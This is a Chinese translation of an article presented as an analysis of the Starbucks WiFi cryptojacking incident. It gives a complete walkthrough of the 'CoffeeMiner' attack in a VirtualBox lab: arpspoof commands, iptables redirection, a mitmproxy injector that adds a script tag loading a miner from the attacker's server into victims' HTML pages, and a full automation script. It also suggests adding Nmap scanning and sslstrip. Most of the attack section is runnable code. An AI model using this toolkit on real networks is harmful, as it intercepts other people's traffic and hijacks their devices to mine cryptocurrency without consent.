星巴克挖礦事件分析:黑客是如何黑掉WiFi並將挖礦代碼注入到HTML頁面的?
2017年12月,星巴克集團就確認顧客在其布宜諾斯艾利斯的分店聯網時,首次連接WiFi時會有一個10秒左右的延遲,在這個空隙間,黑客可以在用戶毫無察覺的情況下挖掘數字貨幣。
不過目前仍未弄清誰是幕後的操作者,其中所涉及的惡意軟體已經被植入了多久,以及有多少用戶受到影響都尚不明確。
所以本篇文章就試圖分析黑客是如何通過實施MITM攻擊並在html頁面注入一些javascript,從而強制連接到WiFi網路的所有設備進行挖礦。
黑客有一個腳本可以執行對WiFi網路的自主攻擊,我將其稱為CoffeeMiner,因為這是一種可以在咖啡館WiFi網路中執行的攻擊。 這種攻擊就是將一些設備連接到WiFi網路,並且CoffeeMiner攻擊者會在連接過程中攔截用戶和路由器之間的流量。
一般情況下,在咖啡館連接WiFi的都是筆記本電腦和智能手機。所以為了進行分析,我構建了一個虛擬環境。我使用的是VirtualBox來部署虛擬場景的。
首先,我需要下載一些Linux磁碟映像,並將其安裝到一個VirtualBox設備上,對於本案例來說,我將使用Kali Linux鏡像。
下載ISO映像文件,並準備3個安裝了Linux映像的VBox設備。
在模擬的攻擊場景中,這3個設備分別代表3種角色:
1. 受害者:連接到路由器並瀏覽一些頁面的設備。
2. 攻擊者:將成為運行CoffeeMiner的設備,是執行MITM的設備。
3. 路由器或網關:將充當一個正常的網關。
一旦攻擊執行,情況如下所示。
其中每種角色的配置都不一樣:
1. 受害者的配置:
1.1 網路適配器:eth0——僅適用於主機適配器;
1.2 /etc/network/interfaces:
auto loniface lo inet loopbacknnauto eth0niface eth0 inet staticn address 10.0.2.10n netmask 255.255.255.0n gateway 10.0.2.15n
2. 攻擊者的配置:
2.1 網路適配器:eth0——僅適用於主機適配器;
2.2 /etc/network/interfaces:
auto loniface lo inet loopbacknnauto eth0niface eth0 inet staticn address 10.0.2.20n netmask 255.255.255.0n gateway 10.0.2.15n
3. 路由器或網關的配置:
3.1 網路適配器:
eth0:橋接適配器
eth1:僅適用於主機適配器
3.2 /etc/network/interfaces:
auto loniface lo inet loopbacknnauto eth0niface eth0 inet dhcpnnauto eth1niface eth1 inet staticn address 10.0.2.15n netmask 255.255.255.0n
CoffeeMiner的攻擊代碼
ARP欺騙
中間人攻擊是一種由來已久的網路入侵手段,並且在今天仍然有著廣泛的發展空間,如SMB會話劫持、DNS欺騙等攻擊都是典型的MITM攻擊。簡而言之,所謂的MITM攻擊就是通過攔截正常的網路通信數據,並進行數據篡改和嗅探,而通信的雙方卻毫不知情。
隨著計算機通信網技術的不斷發展,MITM攻擊也越來越多樣化。最初,攻擊者只要將網卡設為混雜模式,偽裝成代理伺服器監聽特定的流量就可以實現攻擊,這是因為很多通信協議都是以明文來進行傳輸的,如HTTP、FTP、Telnet等。後來,隨著交換機代替集線器,簡單的嗅探攻擊已經不能成功,必須先進行ARP欺騙才行。如今,越來越多的服務商(網上銀行,郵箱登陸)開始採用加密通信,SSL(Secure Sockets Layer 安全套接層)是一種廣泛使用的技術,HTTPS、FTPS等都是建立在其基礎上的。
所以要執行ARP欺騙攻擊,我就將使用dsniff庫。
arpspoof -i interface -t ipVictim ipGatewaynarpspoof -i interface -t ipGateway ipVictimn
mitmproxy
mitmproxy是一款支持SSL的HTTP代理,它可以用於調試HTTP通信,發起中間人攻擊等。mitmproxy提供了一個控制台介面用於動態攔截和編輯HTTP數據包。這樣,我就可以使用mitmproxy分析主機的流量,並對該流量做手腳。在我的案例中,我將使用它將javascript注入html頁面。
為了使這個虛擬過程簡單易操作,我只在html頁面中注入一行代碼,就開始調用JavaScript挖礦的HTML代碼行。
注入挖礦代碼的流程如下所示:
<script src="http://httpserverIP:8080/script.js"></script>n
注入器
一旦攔截了受害者的流量,就需要注入我的挖礦腳本。我將使用mitmproxy API來完成注入。
from bs4 import BeautifulSoupnfrom mitmproxy import ctx, httpnimport argparsenclass Injector:n def __init__(self, path):n self.path = pathn def response(self, flow: http.HTTPFlow) -> None:n if self.path:n html = BeautifulSoup(flow.response.content, "html.parser")n print(self.path)n print(flow.response.headers["content-type"])n if flow.response.headers["content-type"] == text/html:n script = html.new_tag(n "script",n src=self.path,n type=application/javascript)n html.body.insert(0, script)n flow.response.content = str(html).encode("utf8")n print("Script injected.")ndef start():n parser = argparse.ArgumentParser()n parser.add_argument("path", type=str)n args = parser.parse_args()n return Injector(args.path)n
HTTP伺服器
正如以上你所看到的,我向注入器添加了一行指向HTML的代碼,以調用我的JavaScript挖礦。所以,我需要在HTTP伺服器中部署腳本文件。
為了實現javascript 加密挖礦,我將在攻擊者設備中部署一個HTTP伺服器。為此,我將使用Python庫「http.server」:
import http.servernimport socketservernimport osnPORT = 8000nweb_dir = os.path.join(os.path.dirname(__file__), miner_script)nos.chdir(web_dir)nHandler = http.server.SimpleHTTPRequestHandlernhttpd = socketserver.TCPServer(("", PORT), Handler)nprint("serving at port", PORT)nhttpd.serve_forever()n
上面的代碼就是一個簡單的HTTP伺服器,它將在需要時執行我設置的挖礦服務。
JavaScript挖礦將被放置在/miner_script目錄中。在我的案例中,我使用了CoinHive JavaScript挖礦工具。
Coinhive是一個提供惡意JS腳本的網站平台(https://coin-hive[.]com),允許攻擊者將腳本掛在到自己的或入侵的網站上,所有訪問該網站的用戶都可能成為門羅幣的挖掘礦工。
CoinHive挖礦過程
Coinhive工具其實是一個JavaScript庫,用戶訪問載入該JS的網站後,Coinhive的JS代碼庫在用戶的瀏覽器上運行,開始為網站所有者挖掘門羅幣,消耗的是用戶自己的CPU資源。它可以被添加進一個網站,並將使用用戶的CPU功率來計算哈希與Cryptonight PoW哈希演算法來挖掘基於CryptoNote協議的門羅幣。
不過CoinHive的執行要在網站的運行時間超過四十秒時才會有效,如果用戶意識到自己打開了一個有問題的頁面,立馬關閉,則CoinHive就會運行失敗。
在本例中,由於我會在每個受害者請求的HTML頁面中注入挖礦腳本,所以每個網站都有足夠的時間來計算哈希值,以此來挖掘門羅幣。
CoffeeMiner的運行
在以上這些條件準備好以後,開始執行CoffeeMiner,進而讓CoffeeMiner腳本執行ARPspoofing攻擊,並用mitmproxy將CoinHive cryptominer注入受害者的HTML頁面。
為此,我需要首先配置ip_forwarding和IPTABLES,以便將攻擊者的設備轉換為代理。
echo 1 > /proc/sys/net/ipv4/ip_forwardniptables -t nat -A POSTROUTING -o eth0 -j MASQUERADEniptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080n
為了對所有受害者執行ARP欺騙,我將為受害者的所有IP準備一個「victim.txt」文件。不過要讀取所有受害者IP,就準備一些Python行,它將獲得IP(以及命令行參數中的網關IP),並對每個受害者的IP執行ARP欺騙。
gateway = sys.argv[1]nprint("gateway: " + gateway)n# get victims_ipnvictims = [line.rstrip(n) for line in open("victims.txt")]nprint("victims:")nprint(victims)n# run the arpspoof for each victim, each one in a new consolenfor victim in victims:n os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")n os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")n
一旦我執行了ARP欺騙,我只需要運行HTTP伺服器即可。
> python3 httpServer.pyn
現在,我可以用injector.py運行mitmproxy了。
> mitmdump -s injector.py http://httpserverIP:8080/script.jsn
CoffeeMiner的最終挖礦腳本
現在我會把上面解釋的所有概念都放在coffeeMiner.py腳本中:
import osnimport sysn#get gateway_ip (router)ngateway = sys.argv[1]nprint("gateway: " + gateway)n# get victims_ipnvictims = [line.rstrip(n) for line in open("victims.txt")]nprint("victims:")nprint(victims)n# configure routing (IPTABLES)nos.system("echo 1 > /proc/sys/net/ipv4/ip_forward")nos.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE")nos.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")nos.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080")n# run the arpspoof for each victim, each one in a new consolenfor victim in victims:n os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")n os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")n# start the http server for serving the script.js, in a new consolenos.system("xterm -hold -e python3 httpServer.py &")n# start the mitmproxynos.system("~/.local/bin/mitmdump -s injector.py http://10.0.2.20:8000/script.js -T")n
並且在injector.py腳本中:
from bs4 import BeautifulSoupnfrom mitmproxy import ctx, httpnimport argparsenclass Injector:n def __init__(self, path):n self.path = pathn def response(self, flow: http.HTTPFlow) -> None:n if self.path:n html = BeautifulSoup(flow.response.content, "html.parser")n print(self.path)n print(flow.response.headers["content-type"])n if flow.response.headers["content-type"] == text/html:n print(flow.response.headers["content-type"])n script = html.new_tag(n "script",n src=self.path,n type=application/javascript)n html.body.insert(0, script)n flow.response.content = str(html).encode("utf8")n print("Script injected.")ndef start():n parser = argparse.ArgumentParser()n parser.add_argument("path", type=str)n args = parser.parse_args()n return Injector(args.path)n
要執行挖礦,我只需要執行以下操作:
> python3 coffeeMiner.py RouterIPn
如果我想手動執行攻擊,我將需要以下終端:
然後,一旦ARP欺騙攻擊完成,注入器和HTTP伺服器準備就緒,我就可以登錄到受害者的設備瀏覽網站。此時受害者設備中注入器將會被激活。
因此,受害者正在查看的html頁面將具有攻擊者注入的html代碼行。
演示視頻
在下面的視頻中,我可以使用coffeeMiner.py腳本查看模擬攻擊場景中的完整攻擊:
VirtualBox演示:https://www.youtube.com/watch?v=wmYJ6Z4LoCA
實戰演示:https://www.youtube.com/watch?v=-TnzGLUD0DU
總結
正如你所看到的那樣,挖礦攻擊可以很容易地執行,也可以部署成WiFi網路中的自主攻擊。不過對於一個真實世界的WiFi網路來說,最好是用強大的WiFi信號來執行這個過程,以達到對整個設備的信號覆蓋。
雖然是執行自主攻擊,但是我仍然需要使用受害者設備的IP地址編輯victim.txt文件。如果加以改進,攻擊者還可能添加一個自主的Nmap掃描,將檢測到的IP添加到CoffeeMiner受害者列表中。還有就是可能添加sslstrip,以確保在用戶通過HTTPS請求網站的時候進行注入。
你可以在在github中查看我所模擬的全部代碼:https://github.com/arnaucode/coffeeMiner。
本文翻譯自:http://arnaucode.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html ,如若轉載,請註明原文地址: http://www.4hou.com/wireless/9773.html 更多內容請關注「嘶吼專業版」——Pro4hou
推薦閱讀:
※為什麼人們會在乎自己的信息被泄露?
※iPhone 手機被鎖,如何快速解鎖?
※德勤500萬數據泄漏,竟因員工將G+公開平台當記事本
※搜狗輸入法泄露隱私的事是否屬實?
TAG:信息安全 |